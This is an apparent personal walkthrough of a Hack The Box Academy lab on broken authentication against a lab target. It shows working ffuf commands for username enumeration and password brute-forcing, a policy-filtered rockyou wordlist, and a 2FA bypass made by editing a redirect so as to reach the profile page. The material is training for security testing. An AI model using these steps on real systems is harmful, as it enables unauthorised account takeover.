HTB Academy, Penetration Testing, Web Exploitation, Broken Authentication, Authentication Bypass, FFUF, Caido, Burp

HTB Academy Broken Authentication Skills Assessment

Walkthrough of the HTB Academy Broken Authentication Skills Assessment


Scenario

You are tasked to perform a security assessment of a client's web application. For the assessment, the client has not provided you with credentials. Apply what you have learned in this module to obtain the flag.

Target: 94.237.61.52:50401

Fiddling around with the login / registration functions

Loading up the page for the target I am greeted with the following web page

image.png

Given the content of the module, the login page seems like our likely target

Going to the login page and sending a dummy login attempt to see what the post request looks like

image.png

There is nothing to interesting there. The error tells me unknown “username or password” which hints to me that maybe I am not supposed to be brute forcing usernames

Making a new login account with creds test:test

image.png

This fails, and it tells me the password policy, which does hint to me that maybe I need to do some password bruteforcing at some point

image.png

Trying to make the test account works using the following creds test:Password1234

When I tried registering a new user under the same name test, it gives me an error so that could be a potential means of enumerating users. Fuzzing usernames until I find one that doesnt give the “unknown error”

Making an account with the admin username does work, so that suggest to me that there is not an account with the name admin.

Logging in under that “admin” account name - with no admin privileges I am greeted with the following page

image.png

Looking at my cookies, I get the following:

phpsessid=g4ncpnfcot45009c40g7kttcav

Attempting to url decode, hex decode, and base64 decode does not reveal data in this cookie.

Sending a couple of login request, removing the phpsessid cookie so it assigns one in the redirect, the cookie does change

h5fghn430qk4blellaunqfd73g
pn96oa3r591akkhp9nh97uli46

The idea I had about registering accounts with a known username throwing the error to bruteforce a username is along the right lines I think at this point, but I think it is going to be for the login not for the registration page.

Username enumeration

Looking at the applications behavior on the login page, If I try to login with a user that exist, but with the wrong password I get the following error:

Below I was trying to login as an account I created, but with a password that is intentionally wrong

image.png

if I try to login with a username that I am sure doesnt exist, with a random password I get the following error:

image.png

So that means I can fuzz existing usernames with a fake password by filtering specifically for a response that says “invalid credentials”

I’m gonna do this part with caido instead of ffuf because I like the HTTPQL interface

I was having some issues at this point so I reloaded the instance. New Target IP:94.237.61.52:52568

Loaded up caido, turned on queuing and then sent a login attempt with some dummy credentials.

Then I sent that request to automate.

Configured the payload to be the xato-net-10-million-usernames.txt from seclists

Configured the workers to be 50 to speed things up a bit

Highlighted the username field and made that my placeholder for where the payload will be injected by clicking on the + sign in the automate window

image.png

Clicked run

Now I can filter for a username theoretically

This was taking a long time, so i opted to use ffuf instead for times sake.

Pretty much doing the same thing as in caido.

This below command is doing the following:

  • -u Setting the endpoint
  • -H Setting content type header
  • -b Setting the phpsessid cookie,
  • -X Setting the request type (post)
  • -d (using a data field because this is a post request) Setting the the fuzzing endpoint (username field)
  • -w Setting the wordlist,
  • -fr and then filtering for the word “Unknown” using regex
┌──(kali㉿kali)-[~/htb/broken_authentication]
└─$ ffuf -u http://94.237.61.52:52568/login.php -H 'Content-Type: application/x-www-form-urlencoded' -b 'Cookie: PHPSESSID=g4ncpnfcot45009c40g7kttcav' -d 'username=FUZZ&password=Password1234' -fr 'Unknown' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : POST
 :: URL              : http://94.237.61.52:52568/login.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Cookie: Cookie: PHPSESSID=g4ncpnfcot45009c40g7kttcav
 :: Data             : username=FUZZ&password=Password1234
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Unknown
________________________________________________
 
gladys                  [Status: 200, Size: 4344, Words: 680, Lines: 91, Duration: 101ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
 

This found the user gladys

Bruteforcing the Gladys users password

Now given that I have the password policy I assume I am supposed to bruteforce this users password after formatting the rockyou list with the conditions they tell us about.

image.png

The password conditions are as follows:

  • Contains one digit
  • contains at least one lower case character
  • contains at least one upper-case character
  • contains no special characters
  • is 12 chars long

I used gemini to figure out how to grep rockyou for these conditions and got the following command.

I used the following prompt

 how can I use grep to filter a file and give me outputs that match only the following conditions
 
Contains one digit
 
contains at least one lower case character
 
contains at least one upper-case character
 
contains no special characters
 
is 12 chars long 

This gave me the following command

grep -P '^(?=\D*\d\D*$)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{12}$' /usr/share/wordlists/rockyou.txt > pwlist.txt
 

I realized looking at the list that it was taking contains one number literally, when I know that you can have more than one number. So I think I need to change the prompt to be at LEAST one number

Modifying my prompt to be the following:

 how can I use grep to filter a file and give me outputs that match only the following conditions
 
Contains at least one digit
 
contains at least one lower case character
 
contains at least one upper-case character
 
contains no special characters
 
is 12 chars long 

I get the following command:

grep -P '^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{12}$' /usr/share/wordlists/rockyou.txt  > pwlist3.txt

Running ffuf but fuzzing on the password parameter and specifically for the gladys user

ffuf -u http://94.237.61.52:52568/login.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=gladys&password=FUZZ' -w pwlist3.txt -fr 'Invalid' -t 200
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : POST
 :: URL              : http://94.237.61.52:52568/login.php
 :: Wordlist         : FUZZ: /home/kali/htb/broken_authentication/pwlist3.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=gladys&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid
________________________________________________
 
dWinaldasD13            [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 99ms]
 

The ‘dWinaldasD13’ value gets a redirect which is a good sign.

Failing to bruteforce the 2FA OTP

Logging into the page on my browser, I am then bought to a page that asks me for a 2FA OTP token.

image.png

Entering a dummy value it appears to be sending the OTP in a post request

image.png

Attempting to brute force the OTP using 4 digit numbers fails

ffuf -u http://94.237.61.52:52568/2fa.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'otp=FUZZ' -w tokens.txt -b 'PHPSESSID=g4ncpnfcot45009c40g7kttcav'

So the next logical step is to see if in this stage we can bypass the OTP requirement and access a resource.

Enumerating endpoints on the web server

Normally I’d start my recon by fuzzing the web server for endpoints, but I jumped the gun here.

Circling back to that now. Using ffuf to fuzz the web server for endpoints

┌──(kali㉿kali)-[~/htb/broken_authentication]
└─$ ffuf -u http://94.237.61.52:52568/FUZZ.php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -ic
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://94.237.61.52:52568/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
                        [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 100ms]
login                   [Status: 200, Size: 4253, Words: 656, Lines: 91, Duration: 101ms]
index                   [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 102ms]
profile                 [Status: 302, Size: 3717, Words: 606, Lines: 78, Duration: 100ms]
register                [Status: 200, Size: 4245, Words: 655, Lines: 91, Duration: 2950ms]

This found the profile endpoint.

Bypassing the 2fa OTP page to go directly to the profile endpoint as gladys

I sent a login request as gladys using the password dWinaldasD13

Then I made sure to turn on capturing the responses as well in caido

Then I modified the response from the server

Before:

image.png

After changing the location in the response:

image.png

Then clicking forward, now I have a get request to the 2fa page

image.png

I modified the get request above to have the Get being sent to /profile.php

Then get the following request

image.png

I need to modify the request to be a 200 Ok instead of a redirect, but looking at the source of the page in the response it is evident that I am able to view the source of the /profile page bypassing the 2FA OTP authentication functionality by accessing the /profile endpoint as gladys directly

I could see the flag in the response in caido, but forwarding the request again will give me the flag.

image.png